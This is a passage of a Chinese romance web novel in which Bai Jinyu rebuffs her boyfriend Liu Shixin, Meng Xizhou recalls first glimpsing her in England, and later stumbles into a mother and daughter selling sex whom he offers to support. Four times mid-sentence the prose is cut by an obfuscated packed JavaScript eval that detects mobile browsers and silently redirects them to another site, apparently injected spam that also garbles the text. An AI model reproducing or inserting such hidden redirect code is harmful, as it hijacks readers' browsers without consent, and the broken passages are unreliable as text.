她有意提到见家长,就是要提醒柳世新分一分轻重缓急,什么事都等见过白齐盛之后再说。偏偏是这一句话,起到了火上浇油的作用。 于柳世新而言,白瑾瑜终于肯松口带他去见父亲,那无疑是天大的好事,但同时也伴随着天大的不安与毫无把握。 他自己也清楚,若是把条件摆开了一一比较,自己是哪儿哪儿都不如白瑾瑜的,要是她父亲不同意呢?看瑾瑜对自己的态度,从来都很淡然自持,没表露过痴缠的样子,要是她父亲一反对,她立刻就把自己撇在一边呢? 想想老早那一回,自己不过就是带着父母去见她,她不也是一下饭桌就对自己冷脸了吗?那决绝的态度,真不是没有可能的。 自己母亲知道白瑾瑜是这样强硬的脾气后,还反过头来劝过自己哩。说要高攀人家,就得放长线钓大鱼,她说什么都得顺着她,等到生米煮成了熟饭,真正把她得到手里了,她自然就会向着你,不要说她父亲的官位有多高,还能不把女儿许给你吗? 故而在柳世新看来,□□关系实在是一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208005|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必要的保险,最好在见白齐盛之前就将它办妥了,那才是万无一失。 他自认足够花费了心思,哪想到白瑾瑜还是雷打不动的坚决不干,怎能不叫人心急如焚?何况他对她也很深爱,想好了结婚后一定好好待她,这一切都是为他二人做的考虑呀! 这样一想,柳世新的语气里便带上了急迫,脸上的笑容都有些维持不住了,“衣服哪一天不能看?我为你费这许多心血,你就毫不回报吗?你对我的爱,当真是这样浅薄吗?” 这话一出口,房间里顷刻之间安静下来,一室的空气,都像给冻住了似的。 柳世新的心里慌得直打鼓,这实在是很凶险的一招激将法,要是白瑾瑜直说“不爱”,那他们就是一拍两散立刻完蛋;可要是白瑾瑜对他有感情呢?为了自证,她势必就要做出一点妥协了。 只是眼看着白瑾瑜脸上的笑意越来越淡,面色也越来越沉,柳世新便愈发心慌起来,渐渐意识到自己太过心急,甚至有些口不择言了。 正待说点软话来弥补,只听白瑾瑜不咸不淡地笑了一声,反问道:“怎么?我还要为你的用心担点什么义务吗?你要是实在觉得划不来,今天的房钱就由我来结,我对你这份爱意,也算不浅薄了吧?” 柳世新顿时悔青了肠子,他到底踏错了一步!整个人猛地站起来,道歉的话已经冲到嘴边了,却被白瑾瑜一个手势叫停。 白瑾瑜沉默着思忖片刻后,抬起眼睛,干脆直白敞亮地发问:“你总是说爱,我倒想知道你拿什么衡量爱?设若你觉得我不爱你这个人,试问你身上还有哪样外在条件值得我纡尊去爱吗?设若你觉得为我抛掷了三年光阴,试问这三年时间,难道在我身上是静止的吗?你自己好好想一想。” 哪里还用想,现在不拘她说什么,柳世新只管点头称是,可她偏偏不再说了。 那淡色的唇瓣微启着,分明还留有什么话,最终却只吐出了一声叹息。白瑾瑜挪开了膝上的鲜花,站起身道:“屋子里闷得慌,我出去透透气。” 说是透气,那不过是好听点的说辞罢了,分明是败兴而归,要回家的意思。 柳世新哪里愿意让她走,唯恐这一“想”,又要去掉几个礼拜的时间;又不敢追得太紧,或者直接上手抓她,白瑾瑜是很讲体面的一个人,在人前闹得不好看,她更要恼火了。 于是白瑾瑜沿着楼梯往下走,柳世新便缀在她身后紧跟着,一面卖可怜似的轻喊着她的名字,在下了两层楼后,恰恰好和走廊上途经的孟西洲打了个照面。 万国饭店的一楼二楼是宴请用餐的所在,二楼往上就是住人的套房了,最顶上则是跳舞场。只是大白天,又是临近饭点的时间,恐怕没有什么舞蹈可以看,那么他们二人是从哪一楼层下来的呢?那也就不必再问。 孟西洲的心情实在很糟,甚至厌烦自己短短的一个瞬间竟可以联想到这么多。他心里烦闷极了,面上却像是见到老朋友一般露出微笑,主动对白瑾瑜打了个招呼:“密斯白,好巧,在这儿也能碰见你。” 12. 第 12 章 孟西洲不是因为与柳世新共事才认识白瑾瑜的,而是因为表姐姜晚云,这事儿恐怕连白瑾瑜都不知道。 姜小姐也是一位活跃的女性,与丈夫结婚后便直接定居英国,故而对来此留学的孟西洲,在生活上也颇为照顾。 那是在他留洋毕业后的一年,孟西洲并没有马上回国,而是往返于英国造船中心做船舶研究,和前三年忙碌得脚不沾地的情形相比,现在可谓大大缓过一口气,姜小姐的关心便活络了起来。 在某一日孟西洲回家后,拿了一张相片递给他,说:“你瞧瞧,怎么样?” 也不知姜晚云是从哪里弄来的,怎么看都像是张入学用的小相,相片上的女子倒是很美丽,连孟西洲都忍不住多看了两眼。只是他对表姐的意图太过心知肚明了,看过了,也就把相片放回到桌上,问:“你新交的朋友吗?我可不替你做向导。” 姜晚云对他的装糊涂一笑置之:“人家可不稀罕你做向导。”停顿一会儿,又说,“这位白小姐,是去年来留洋念商科的学生,巧了,去的正是你的学校。为人很聪明爽气,我老早就想介绍给你认识,无奈总抓不到你的人,今年既然清闲下来,怎么样?要不要由我做个引荐呢?” 孟西洲嗤笑了一声:“你真有点地头蛇的样子,但凡来英国的留洋学生,就没有你不知道的。难为你大材小用,把这人脉通的本事用来给我相亲,算了吧,好意心领了。” 听出他在讥讽,姜晚云也不生气,耸了耸肩膀很遗憾似的:“多好的小姐,我专程替你留意着,你还不领情,我何必要自讨没趣?得了,相片也不必还我,自己留着作纪念吧,反正除了这张相片,你要再想见到人家,那是不能够了。” 人倒是轻易打发走了,相片却留了下来。 鬼使神差的,孟西洲竟也没有扔掉,随手给丢在书桌上,可正因如此,每每都在夜晚看书时不经意间瞥过。一次两次三次,越看竟越舍不得扔,渐渐的,连心思都发生了幽微的转变。 也不知是不是相片照得太好的缘故,这位白小姐美得很不一样。没有寻常小姐们一贯的柔美骄矜,反倒很舒展神气,尤其那双眼睛直直地注视着镜头,那种强韧而鲜活的神采,似乎能穿透纸面传达而来。 这还是他头一回被介绍相看,孟西洲甚至有一种奇特的感觉,似乎他们被系在一根细线的两端,而他则是隐蔽的观察者,静观着那位一无所知的白小姐的动向。 那个时候,他仍然没有想过对表姐改口,以上种种,不过只是在某些瞬间一闪而过的朦胧念头罢了,他要做的事太多了,回国后还要打理家中产业,实在没有谈爱情的心思。 直到一周后的星期四,孟西洲亲眼见到了白瑾瑜。 那是在一家高级饭店,孟西洲坐在大厅的散客区用餐,听见服务台那边传来带着哭腔的争辩声。尽管那哭声在一声警告般的“嘘”后立刻安静了下来,但在这样级别的酒店里多少显得扰人,于是下意识投去了一眼。 相片上的白小姐就站在服务台前,而与她对峙的则是一男一女两个洋人服务员,不说那男人高大威武,连女的都比身段纤细的她大出一号。 她当然不是哭鼻子的那一个,另有一个体态娇小的女子站在她身后,眼里滚着泪珠子,满脸惊慌后怕地拉着白小姐的胳膊。而后者则安抚似的覆着她的手,同时口齿流利地用洋文说话:“......我以为你们可以查一查订房的先后,久负盛名的大酒店,记录簿总是有的吧?” 孟西洲招来服务员打听是怎么回事。 “只是个小小的误会,先生。”男服务员耸着肩膀,很不以为意,“客人抱怨我们把最坏的房间分给她,清洁房旁边那一间,可您知道的,总有人会住到那一间的!哦,中国来的女客人总是很挑剔!” 孟西洲但笑不语,心里知道这是外国酒店一向爱玩的老把戏——也许你订房最早,但不妨碍你的房间最差。尤其针对那些人生地不熟的留学生们,又想挣他们的钱,又欺负他们大多洋文差面皮薄,不敢找人争吵理论。 另一边,无视两个服务员的坏脸色,白小姐坚持提出查看订房记录(只要她不是最后订房的客人,这样的分配就显然有失公道),并且需要酒店经理在场。 她的态度冷静极了,完全没有咆哮或指责,是一种柔软的强硬,就要按照她说的办,一点也不让渡自己的权益。孟西洲饶有兴致,他甚至又续了一杯咖啡,坐在角落里观看事态的发展。 最后,事情以白小姐大获全胜,而酒店一方道歉并提出补偿做为结束。 他到现在还记得呢,在查看记录簿时,白小姐故作吃惊地感叹了一声,扭头对经理说:“真不敢相信,如果贵店那么厌恶外宾入住,为什么不登一则广告呢?或者在门外挂一块招牌?相信彼此都会很舒坦的。”而与此同时,后者的脸色则窘到发青,却又不得不强颜欢笑。 精彩!精彩! 整个过程中,孟西洲好几回在心里忍笑,暗叹白小姐那不缓不急又带着讥讽的应答真是机智老辣,还有酒店经理致歉时她的微笑,哈,那眼里闪着的狡黠的亮光,他隔得老远都能看见! 相片到底是死的东西,没能把她飞扬的神采传达出万分之一。 孟西洲头一次对某个人生出跃跃欲试的兴奋,回去的路上,特意绕去百货商店买了瓶法国香水,送给姜晚云请她转圜。 姜晚云把香水瓶子送到鼻子底下闻了一闻,脸上带着一点胜利后的志得意满,问:“这是什么意思?后悔了?” 孟西洲笑了一笑,服软道:“是我太草率,表姐大人不记小人过。” 他这样放低姿态,姜晚云倒有些稀奇,一双眼睛上下打量了他几遍,觉得他求自己帮忙的心,是很强烈的。机会难得,便沉吟着开出条件道:“这样,这段时间正好你姐夫不在,你充当我两次看跳舞时的保镖,我就再去替你牵线,怎么样?” 孟西洲一向不喜欢吵闹的地方,可换算一下,忍受跳舞场的次数总是有限的,人与人认识之后的可能,却是不受限的......这样一想,倒很爽快地接受了,“成交。” 凭姜晚云的人脉,要打听一个人的消息,三天之内总可以做到,时间便显得紧迫起来。 孟西洲对着穿衣镜子,少见得为着装打扮发起愁来。 第一次见面,为表郑重,是否是西服配上领结更好?可要是全黑色,是否太过刻板无趣?换成正流行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208006|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的香槟色领带呢?这颜色又被纨绔子弟们穿滥了,反而显得轻佻。 思来想去,干脆去定做了一身新衣,又付了加急的费用,只等着三天内取货。 偏偏在新衣送到的那一天,姜晚云抢着付了钱,几天前的得意劲儿不见了,像是对他很亏欠似的,“我替你问过了,人家白小姐已经找到了恋爱的对手方,那就不好再安排你们见面了......” 孟西洲振奋的神经似乎一下被勒紧了,试图判断这句话的真伪。半晌,他沉着嘴角谈判道:“我陪你去三次跳舞厅,再加一瓶外国香水。” 姜晚云急了,“啊呀,你以为我在和你抬价吗?我本来也想介绍给你认识的,何必骗你呢?人家是真的恋爱了,据说就是在不久前,一个星期还没有过呢!” 那就是在他拿到相片之后了。孟西洲的心往下一沉,好半天没有说话。 姜晚云以为他不信,干脆说:“真是如此。不然这周日你自己去华侨饭店看吧,白小姐一个要好的学姐在二楼的玫瑰厅办生日宴会,我想她总是会去的吧?你要是厉害,把她哄向你这边来呢?反正我是不好出面了。” 说着,把放在桌上的西服盒子抱给他,“这件事,到底没有给你办成。我也不敢领受你的香水,这衣服就当姐姐送你一份回礼,穿着出去顽顽吧。” 穿一身新衣,煞有介事地跑去给不认识的人贺生日吗?那真是笑话。 最后还是托了位朋友,以朋友的朋友的名义去了一趟。也许是他此前的人生太过顺畅,以至于坏运气在最近频繁光临,孟西洲不光见到了白瑾瑜,还见到了她恋爱的对手方。 他们两个人在众多的留洋学生里出挑极了,总是黏在一起不分散,在白瑾瑜结束了和某位朋友的交谈转过身的时候,她的男友甚至低头吻了吻她的头发。 孟西洲的心像给什么东西攥紧了似的,狠狠呼出一口气。他不想看下去,也不想苦苦等她落单,更不想像姜晚云说的那样,去哄或者去抢。 他也是高傲惯了的人,何况她已有爱情。实在没有必要为了一个只见过一面的稍稍有趣的女子丢开风度。 近旁,朋友似乎是注意到了他的走神,向白瑾瑜所在的方向望过一眼后笑道:“不怪你也注意他们,这可是留洋圈子里新晋的才貌双全的一对,你看,多么般配!” 孟西洲礼貌性地笑了一笑,很快就推说有事要走,离开前还是忍不住问:“那边的先生小姐,叫什么名字呢?” 朋友对他的郁结当然一概不知,爽快道:“那一位小姐姓白,名字也很好记,怀瑾握瑜,白瑾瑜。先生则叫做柳世新。” 也许当初不问名字比较好,更容易忘记些,又或者忘得更彻底些。孟西洲回国后,没有再刻意去回想这一件事,白瑾瑜,连带着柳世新这两个名字,倒像是叠好的折纸,被压在日复一日的厚重记忆之下。 直到某一日在公司走廊上听到有人介绍了一句,“这是密斯脱柳,柳世新。” 孟西洲停下脚步。 一个名字带出另一个,厚重的日子顷刻间变成窗纱变成蝉翼,让他一眼望尽自己朦朦胧胧盘桓着的、不能消散的念头。 一切都推翻重来了。 13. 第 13 章 两人之间,反倒是柳世新最先反应过来,抢着说:“是很巧,今天是瑾瑜生日,我正陪她过生日呢。”他重重地咬着“正”字,希望孟西洲能听懂弦外之音,别纠缠不放。 说起来,他和孟西洲之间应当没有什么矛盾冲突,可柳世新总觉得孟西洲对他抱有隐隐的敌意,似乎是别有居心。 究其原因,他们三人算是一道认识的,即便白瑾瑜和船运公司有一点贸生意上的往来,一个月能见面几次呢?何以孟西洲对白瑾瑜表现得格外亲切照顾,对自己这个办公室里常常打照面的同僚,就是很淡薄的样子? 他自认并不是想获得工作上的优待,不过这样高低立见的对待,总归叫人不痛快。 他有意想在外人面前宣誓主权,白瑾瑜却不想做他的附属,笑着接话道:“这样说倒有失偏颇,生日刚刚就过完了,蛋糕也吃了,现在正准备回家去。” 这是谎话,套房里的蛋糕还罩在玻璃罩子里,一口没有动过。柳世新被女友拆了台,但那到底是自己才知道的事情,算是给他留了面子,知道再说下去,保不准逼得白瑾瑜说出更绝情的话,那就不好挽回了。 只能硬挤出一点微笑,沉默着不再反驳。 孟西洲好像一点没察觉到两人之间古怪的气氛似的,和气地发出邀请:“那很好,开车来了吗?要是没有,我的车就停在饭店外,正要开去车行做保养,和白公馆是顺路的,倒是可以送一程。”又转向柳世新,露出微笑,“要是密斯脱柳也去白公馆,我也可以一起送。” 他这样说,就是料准了柳世新不会加入一个。 也诚如他所料,柳世新不情不愿地推说改天,恹恹地退场了。一来,白瑾瑜已然摆明了不合作的姿态,他不敢再冒进。二来,他也很不喜欢同孟西洲相处,尤其是在白瑾瑜面前,仿佛无形中被这个高出两个职级的上司压过一头。 柳世新一走开,白瑾瑜扬着的嘴角便下落了几分,有一种做戏卸下三分力的松快感。 这二人之间显然闹了什么矛盾,孟西洲看破却不说破,径自引着白瑾瑜来到自己的洋车前,替她拉开了副手座的车门。待自己也坐定后,才笑着说:“我都不晓得今天是密斯白的生日,怎么办,礼物也没有备一份。” 这样说着,脚下已发动了洋车,稳稳地开上了饭店前的大马路。 白瑾瑜的目光由前方宽阔的街道上收回,扭头随意地看了孟西洲一眼,也笑了一笑:“要什么紧,我也不办请客,很不好意思收你的礼。再说,孟先生也是熟朋友了,你恭贺我一句,那就很足够了。” 孟西洲目视前方,嘴角却还是扬着,自顾自说道:“我只听说过生朋友不必送礼的,熟朋友不用送,那是什么道理?照这样说,密斯脱柳应当是密斯白最熟的朋友了,何以他还精心筹备,请你上乔治饭店呢?” 这话真有点语意不明,像是在暗示自己和白瑾瑜的关系,应当远在客套之上;又像是对白瑾瑜与柳世新的关系提出质疑,要把后者的地位硬往下拉一截。 白瑾瑜私心里也觉得这句话古怪,复又扭头打量了孟西洲一眼,见他神色如常,又觉得是自己多心,好笑般道:“男朋友虽说也是朋友,但和真正意味上的朋友,那又不大一样。” 正常的,若是一位小姐把话说到这里,识趣的也就不会再刨根问底了,毕竟男女朋友的事,和外人有什么相干呢? 在白瑾瑜的认知里,孟西洲实在是很知情识趣的一个人,也极有分寸,绝不让人陷入窘迫难堪的境地。偏偏这一次例外,也不知他是受了什么刺激,竟接着追问道:“哪里不一样呢?从男女的公开社交上而言,凭他多认识你两年,又每月多见你几次面吗?” 那似乎是在说:是所谓的男女朋友又怎么样呢?既没有订婚,更没有结婚,在如今开放的社会风潮之中,同普通的男女社交,也没有什么区别呀? 这一下,不由得白瑾瑜不往多心的方向去想,再仔细去打量孟西洲的神情,只见弯起的嘴角已经放下,沉沉地抿作一道直线。凝视之间,恰好孟西洲也转头看了她一眼——毋宁说他是故意转头给她看的,眉眼同样低沉着,是一张负气又不大甘心的脸。 白瑾瑜的脑中嗡嗡作响,直觉窥探到什么了不得的心意,同时心里又无端慌乱起来,率先躲开了视线。 孟西洲对她抱有好感吗?她倒是真没想过,自从和柳世新交往之后,她就不大揣度其他异性的心思了,因为没有必要,被人示好则会直接回绝。她知道现在许多时髦小姐喜欢玩爱情游戏,以追求者之众多来标榜自己的魅力之大,白瑾瑜敬谢不敏,觉得那实在不大道德。 再者,她现在和柳世新的情况已经够乱了,自己都需要静下心来好好想一想。 要不要带柳世新去见父亲?白瑾瑜本来已经做好了决断,现在却有些动摇。 她以往总觉得,若是谈爱情,双方势必开诚布公,如有分歧之处,那也不要紧,坦然交涉就好。毕竟这世上谁和谁不闹矛盾呢?她和家里那个混世魔王似的小妹妹,更加吵闹得不可开交呢! 可在有了乔治饭店这一趟经历后,实在需要打上一个问号。柳世新对自己玩弄心眼已然不是第一次了,这就有违自己谈爱情的原则,但不论怎样说,他都还算自己的男友,要是此刻再牵扯进第三个人,岂不更加乱作一团? 除此而外,单凭孟西洲一句模棱两可的话,就要狠狠下他的面子,给他一个钉子碰,那也是大可不必。 谈生意的人讲究和气生财,何况他还是自己很重要的合作方呢? 白瑾瑜的脑筋飞快地转着,将前因后果梳理个通透,也不过花费几秒钟的工夫,便镇定下来。 她假装没注意到孟西洲的神色,做出带一点羞怯的样子,低下头微微地一笑,说:“他给我过生日,不应当吗?何况我们也有事要谈,等我父亲出公差回来,就要安排他们会一会面了。” 车里半晌没有声音,只是在开过眼前的转弯时,显然要比之前更急,白瑾瑜被惯性驱使着往旁边一歪,手臂撑着车门稍稍借力才算稳住。 她是不大敢去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208007|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看孟西洲的神色的,怕自己这段“宣告”过于委婉,不足以打消他大约抱有的心思;又怕不够委婉,叫自己失去一条顶好的人脉。只能稍稍转动视线,从余光里瞥见他握着方向盘的右手,手背上鼓着淡青色的血管。 好在转弯之后,汽车又是开得很平稳了。 孟西洲也终于开口,阴阳怪气了一句:“是吗?那真要恭喜密斯脱柳了。” 白瑾瑜生硬地提着嘴角,正犹豫要怎么接话,忽见自己家白色的小洋楼出现在右手边的拐角处,一颗心好似落定一般,狠狠吁了口气道:“你瞧,说着说着就到地方了。多谢你开车送我,我也不便耽误你的行程,这就停在大门口吧。” 孟西洲依言停车,却在白瑾瑜推开车门前这一次叫住她。 他浅褐色的眸子落在她身上,又把话绕回到最初:“你既然把我看做熟朋友,我就不能不给你提一个醒。平日里同柳世新关系最亲近的一个同事为人油滑,私下作风更是不堪,所谓近朱者赤近墨者黑,事关终身大事,密斯白可得留心了。” 孟西洲有意要给白瑾瑜敲一记警钟,若是能顺势在他们之间敲出一点嫌隙,那样最好。可他却忘了,此时此刻,自己于白瑾瑜而言也不亚于一记警钟,忙着躲开他还来不及。 白瑾瑜随口“嗯嗯”了两声,也不知有没有把话听进去,手上急匆匆地推开了车门,冲他点一点头后便下车回家了。 孟西洲坐在车里沉沉地出了一口气,可心里积压的苦闷一点没有减少,他又想起了华侨酒店玫瑰厅里那场生日宴会,那天她穿了一件红色呢绒的短外套,也像一朵娇艳的玫瑰花,却不是他的。 当年不是,现在也没什么改变,为何他总是迟来一步? 在他看来,柳世新为人懒散软弱,不过一个绣花枕头,哪里都配不上白瑾瑜。为何他已然示好,而白瑾瑜显然已有所领会,却还是执意选择那姓柳的草包?孟西洲真有些想不明白。 但......如若柳世新配不上,那么谁配得上?心里的声音继续追问,孟西洲的思绪便戛然而止了。 他的内心似乎酝酿着一个答案,却又被他按捺着不愿宣之于口。他想,不对,不该是他配不配得上别人,而是别人有没有这个资格——何至于如此放低身段?孟西洲不屑于这样作践自己,而拿自己与柳世新之流作比较,那更是一场可笑的挫败了。 他遥遥望着黄铜大门内的白公馆,一想到白瑾瑜就在那屋里,只觉得情绪翻涌,怎样都平静不下来。 多呆无益,干脆发动了汽车,往宝利洋车行开去。 他说车要开去车行养护,倒不是谎话。孟西洲将车留在车行,抬脚走到大街上时,凉丝丝的空气迎面扑来,总算叫人生出一点身体上的畅快,似乎心口的郁气也跟着散开一些。于是径自往前走,不拘走到哪里,权当散一散心。 可惜十来分钟后,大雨瓢泼而至。 孟西洲环顾自周,竟走到一处人力车也不到的街口,只能勉强找了个屋檐避雨,落得一个被困雨中的局面。 14. 第 14 章 这场雨下的突然,不拘是他,街头巷尾许多人都是四处奔窜,要么是一股脑地掩着头脸往家里冲,要么从二楼飞快探出身来,一把将晾在细竹竿上的衣服抱进怀里。 其中有几个格外奇怪的,譬如街对面那户人家的少女,本来大约是在屋外闲坐着的,现在则倚靠到门边,大下雨天也不进屋,一手绕着单侧的麻花辫,一边不时地探出头来,往孟西洲的方向打量着。 孟西洲本来没有注意到她,不过随意一瞥,却吓了一跳,甚至疑心是自己发了失心疯。 那张面孔竟和白瑾瑜有三分相像! 孟西洲不敢断定,大雨如瀑,雨点子珠帘似的成串落下,本来也看不大清楚;何况他刚在白瑾瑜那里受了一场挫折,难免心里记挂着,看谁都觉得有点像她。正要再仔细看一眼时,那姑娘却闪身不见了,反倒是一个大娘出现在门口,打开一把半旧的油纸伞,颠着胖墩墩的身子朝自己这里小跑过来。 那大娘半点不见外,嘴角咧着做一个大大的笑脸,招呼道:“先生,这雨下得真不巧,不如进屋里来坐一坐?瞧您这一身贵重的好西装,淋湿了可就不美了!” 孟西洲不大喜欢这种过分热络的姿态,活像自己是一块儿被人觊觎的好肉段,同时心里生出一阵古怪,往街口远望一眼,果不其然,离这里不远就是北油车弄的弄堂口。 他暗自懊恼一句,真是好的不来坏的来,怎么就走到这片地界!换做平时,不管淋湿不淋湿,老早拔腿就走了,可一想到刚刚那少女的面貌,只觉得是个棘手事件,也非得弄个明白不可。 便稍稍和那大娘拉开了点距离,低声道了句谢,随她进屋去了。 那大娘真有点喜出望外,想不到真能把一位贵人带回家似的,一路引他进屋,又张罗点心茶水。说是点心,不过就是一碟子瓜子果脯,茶杯里孤零零飘着几片焦黄叶子,也看不出什么品种。孟西洲冲她笑一笑接过了,到底没往嘴里送。 与此同时,刚刚倚在门边的少女此刻正从一扇旧屏风后探出头来,麻花辫荡在肩膀上,一双眼闪烁着往客人的方向送着眼波。 大娘显然也瞧见了她的动静,讪笑了一声,对孟西洲说:“家里地方小,只能大家伙儿的坐到一处来,贵人可别介意啊!”同时向后招了招手,喊了两声“快来”,把那少女往炕边上推了一推,“这是我的女儿,今年满十八了,就是胆子小。” 对那姑娘说:“贵人肚量大呢,你也坐。”又搡了搡她的胳膊。 孟西洲就是在这间隙打量那女子的,带着十足的客观审慎,方才得出结论:她与瑾瑜,到底是形似而神不似,故而在她安安静静看东西的时候,尚还能唬一唬人;可一旦或笑或羞地做出神态,那一点模糊的影子就消散干净了。 正这样想着,那姑娘竟紧紧挨着他坐到了炕上。孟西洲拧着眉头往旁边避开一点,给她留出位置,不想她紧跟过来,誓要往他身上贴似的,边上的大娘看在眼里,也不阻拦。 这母女两个做的什么行当,也就不言而喻了。 孟西洲对不相干的人,向来没什么好脾气好耐性,此刻早就压不下受冒犯的火气,干脆站起来走开几步,问:“你到底要坐哪里,小姐?我不和你抢。” 孟西洲抽身太快,那少女没了借靠的力道,整个人往旁边歪了一歪,抬头就对上一双居高临下的冷眼,心里先就是一怵。 要坐哪里?总不能说要坐你腿上吧?她做这行当还不满一年,到底脸皮薄,一下就烧到了耳朵边,讷讷地垂着眼睛不敢答话,同时拿可怜兮兮的眼神求救似的对自己的娘发着信号。 大娘见这边的气氛一下到了剑拔弩张的地步,那就不能不开口做一个调解,说:“贵人别气,别气。这小东西就是爱玩闹,还是小姑娘脾气哩!”把“小姑娘”三个字暧昧地咬了咬,别有深意地暗示,“您是不知道,她平时和谁也不多话的,今日和您这样亲近,那是对您很中意哩!” 她姚大娘别的没有,对自己女儿的相貌,却是很有信心,要是换做别的客人,早被捧得飘飘然,和姑娘重归于好了。偏偏这一位贵客不吃这一套,照旧拧着眉头,伸手拖过墙边一条板凳。 姚大娘咬了咬牙拦住他,“别别别,怎能让客人坐板凳!”赶紧扯了少女的胳膊让她挪过来坐凳子,把铺着软垫的炕床让给了孟西洲。 到底是公子哥儿,恐怕见惯了莺莺燕燕,轻易不能迷惑住他呢!姚大娘大感遗憾,但转念又觉得,还是照他的意思行事为好,把人招待舒服了,茶钱也能多得一些,横竖自己不亏。 可孟西洲想的却是另一回事:甭管这对母女从前干的什么,往后决不能叫她们继续做皮rou生意。 这实在是阴差阳错下发现的一桩风险事!时下,逛胡同俨然成了一种秘密的风潮,他自己虽不参与,也知道身边一些例子,营业科那个钱科长不就是吗?何况有些大户人家请客摆席,为热闹气氛也会叫条子,姑娘们每日接触什么人,多少人,那是说不定的。 偏偏白瑾瑜也不是大门不出二门不迈的文静闺秀,交际的朋友多,谈生意的合作方也多,就怕里头有一个两个见过这对母女,那对白瑾瑜而言就有名誉受损的危险。设若处境再坏一点,男的寻她开心,女的暗地讥讽,孟西洲光是想一想都觉得不能忍受。 这还是远虑上的风险,未必真的就会发生,往近了说,那又要回到那个姓钱的。 上回自己在办公室外依稀就听见他提到“北油车弄”,设若柳世新不够洁身自好,真被他领来“见见世面”了呢?亦或者柳世新给姓钱的看过白瑾瑜的小相,而钱永善自己进过这户人家,留意到了两人间的几份相似呢? 这样一想,似乎那危险已然迫在眉睫了。 孟西洲沉吟一会儿,冷眼望着对面的少女,忽然问:“你叫什么名字?” 那少女方才在他那儿碰了好大一个钉子,现在还是又害怕又委屈,还是姚大娘反应快,答说:“叫宝莲。还是巷子口算卦的给取的名儿呢,说是珍宝的宝,莲花的莲......” 见男人无动于衷,讪笑了两声,巴结着,“嗐!这名字不好听,都老掉牙了。我知道现在的年轻小姐们都喜欢叫什么嘉啊秀啊的,我是不大懂,不过贵人您一瞧就是顶见多识广的,不如您给再赐个名儿?” 孟西洲想也不想地拒绝,半讥讽道:“非亲非故,我赐什么名?我也太狂妄自大了。” “哪里,哪里......”姚大娘虚虚地应着,不敢再触他的霉头。她看看贵客又看看女儿,本想走开点,再让两个人单独处一处,却被孟西洲叫住了,又问,“读过书吗?识得多少字?” 姚大娘与姚宝莲面面相觑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208008|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个都是疑惑地摇了摇头。 做皮rou生意的人家,哪里还有余力读书学字,那真是笑话!又不是戏文里头家道中落的千金。 孟西洲终于满意地提了提嘴角,右手食指在膝盖上一下下敲着,像是在心里打着盘算,算完了,便开口道:“这样,我来这里避雨,也算是缘分。送你去读书,你愿不愿意呢?” 只见姚宝莲瞪圆了眼睛,连姚大娘都“啊”地发了一声问,道,“这、这,哎哟!我这当娘的,还能不盼着女儿好吗?只是我们这孤儿寡母的,您送宝莲去读书了,家里就要关张大吉,我们吃什么呀?!” 说话间,不住地把下垂的眼皮向上掀起,那渴求的眼神,直直地把孟西洲望着。那意思,无非就是要钱了。 这也正中他的下怀,孟西洲笑了一笑,说:“那也不要紧,你们日常生意挣多少钱,报一个数字,我补贴上就是。你女儿要是愿意念书呢,我就再给一份教会学校的学费;要是不愿意呢,就去纺织厂或印刷厂工作,还能另挣一份工钱。” 姚宝莲简直闹不明白这人什么意思,一会儿冷脸一会儿笑脸,这会儿还要送自己上学,不上学就去做纺织女工?出去工作累得要命不说,还未必有自己哄老爷们开心赚得多呢!呸! 姚大娘的心思就活络多了,已然转着眼睛应承道:“愿意!愿意!这还有不愿意的吗?不过这每月挣多少么,总也有挣得多的时候......”她心虚似的瞅了孟西洲一眼,伸出一个五指张开的巴掌来。 孟西洲冷笑了一声,凉飕飕的视线再次转到姚宝莲身上,像在看一件高价宰客的货物。 一个月五十块钱,就快赶上小学老师的薪水了,真当自己是傻子不成? 